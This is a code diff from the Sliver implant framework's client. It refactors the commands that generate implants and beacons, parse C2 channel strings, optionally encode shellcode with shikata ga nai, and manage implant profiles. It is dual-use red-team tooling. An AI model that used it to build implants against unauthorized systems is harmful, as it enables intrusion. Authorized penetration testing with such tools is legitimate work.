save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+2 -8
View File
@@ -5,8 +5,6 @@ import (
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"regexp"
"strings"
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
if err != nil {
con.PrintErrorf("Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
+268 -136
View File
@@ -29,7 +29,6 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
@@ -39,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -62,8 +62,8 @@ const (
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
@@ -82,31 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -122,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compile(config, save, con)
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
return path
}
return filepath.Join(os.Getenv("HOME"), path[1:])
}
func saveLocation(save, DefaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
save = expandPath(save)
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
@@ -179,36 +164,57 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
if ctx.Flags.String("name") != "" {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Implant's name must be in alphanumeric only\n")
return nil
}
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
}
c2s := []*clientpb.ImplantC2{}
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, mtlsC2...)
wgC2 := parseWGc2(ctx.Flags.String("wg"))
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, wgC2...)
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, httpC2...)
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, dnsC2...)
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
@@ -235,7 +241,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollInterval := ctx.Flags.Int("poll")
pollTimeout := ctx.Flags.Int("poll-timeout")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -249,6 +255,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
isShellcode := false
format := ctx.Flags.String("format")
runAtLoad := false
var configFormat clientpb.OutputFormat
switch format {
case "exe":
@@ -256,6 +263,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
case "shared":
configFormat = clientpb.OutputFormat_SHARED_LIB
isSharedLib = true
runAtLoad = ctx.Flags.Bool("run-at-load")
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
@@ -273,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -294,6 +306,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -308,8 +327,9 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
@@ -322,6 +342,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
RunAtLoad: runAtLoad,
}
return config
@@ -349,11 +371,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
@@ -364,49 +386,81 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
return targetOS, targetArch
}
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
// ParseMTLSc2 - Parse mtls connection string arg
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseWGc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
uri := url.URL{Scheme: "wg"}
uri.Host = arg
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
// ParseWGc2 - Parse wg connect string arg
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
@@ -415,94 +469,150 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
if err != nil {
log.Printf("Failed to parse C2 URL %s", err)
continue
return nil, err
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseDNSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
arg = strings.TrimPrefix(arg, ".")
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
// ParseDNSc2 - Parse DNS connection string arg
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "dns://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
// ParseNamedPipec2 - Parse named pipe connection string arg
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
arg = strings.ReplaceAll(arg, "\\", "/")
arg = strings.TrimPrefix(arg, "/")
arg = strings.TrimPrefix(arg, "/")
var uri *url.URL
var err error
if strings.HasPrefix(arg, "namedpipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
if !strings.HasPrefix(uri.Path, "/pipe/") {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
}
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
}
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
return c2s, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
@@ -531,12 +641,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
err = ioutil.WriteFile(saveTo, fileData, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -572,7 +704,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
return true
}
@@ -607,7 +739,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
+19 -1
View File
@@ -2,7 +2,9 @@ package generate
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -10,8 +12,24 @@ import (
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No name specified\n")
return
}
build := ImplantBuildByName(name, con)
if build == nil {
con.PrintErrorf("No implant build found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("implant-name"),
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to delete implant %s\n", err)
+115 -38
View File
@@ -19,19 +19,29 @@ package generate
*/
import (
"bytes"
"context"
"fmt"
"io"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ImplantBuildFilter - Filter implant builds
type ImplantBuildFilter struct {
GOOS string
GOARCH string
Beacon bool
Session bool
Format string
Debug bool
}
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
}
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("OS/Arch")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Command & Control")),
)
// PrintImplantBuilds - Print the implant builds on the server
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"OS/Arch",
"Format",
"Command & Control",
"Debug",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for sliverName, config := range configs {
if 0 < len(config.C2) {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
sliverName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("%v", config.Debug),
config.Format,
fmt.Sprintf("[1] %s", config.C2[0].URL),
)
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
"",
"",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
)
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
continue
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
sliverName,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
})
}
table.Flush()
fmt.Fprintf(stdout, "%s", outputBuf.String())
con.Println(tw.Render())
}
// ImplantBuildNameCompleter - Completer for implant build names
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for name, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
continue
}
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
sort.StringSlice(results).Sort()
return results
}
// ImplantBuildByName - Get an implant build by name
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil
}
for sliverName, build := range builds.Configs {
if sliverName == name {
return build
}
}
return nil
}
+2 -2
View File
@@ -30,9 +30,9 @@ import (
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("name")
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("no profile selected")
con.PrintErrorf("No profile name specified\n")
return
}
save := ctx.Flags.String("save")
+48 -6
View File
@@ -1,5 +1,22 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -10,11 +27,7 @@ import (
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
con.PrintErrorf("Invalid profile name\n")
return
}
name := ctx.Args.String("name")
config := parseCompileFlags(ctx, con)
if config == nil {
return
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new profile %s\n", resp.Name)
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
}
}
// ProfilesNewBeaconCmd - Create a new beacon profile
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
}
}
+37 -1
View File
@@ -1,8 +1,28 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
@@ -10,8 +30,24 @@ import (
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("No profile found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("profile-name"),
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to delete profile %s\n", err)
+65 -47
View File
@@ -21,15 +21,15 @@ package generate
import (
"context"
"fmt"
"os"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ProfilesCmd - Display implant profiles
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if len(profiles) == 0 {
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
return
} else {
PrintProfiles(profiles, con)
}
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")),
)
}
// PrintProfiles - Print the profiles
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Profile Name",
"Implant Type",
"Platform",
"Command & Control",
"Debug",
"Format",
"Obfuscation",
"Limitations",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
})
for _, profile := range profiles {
config := profile.Config
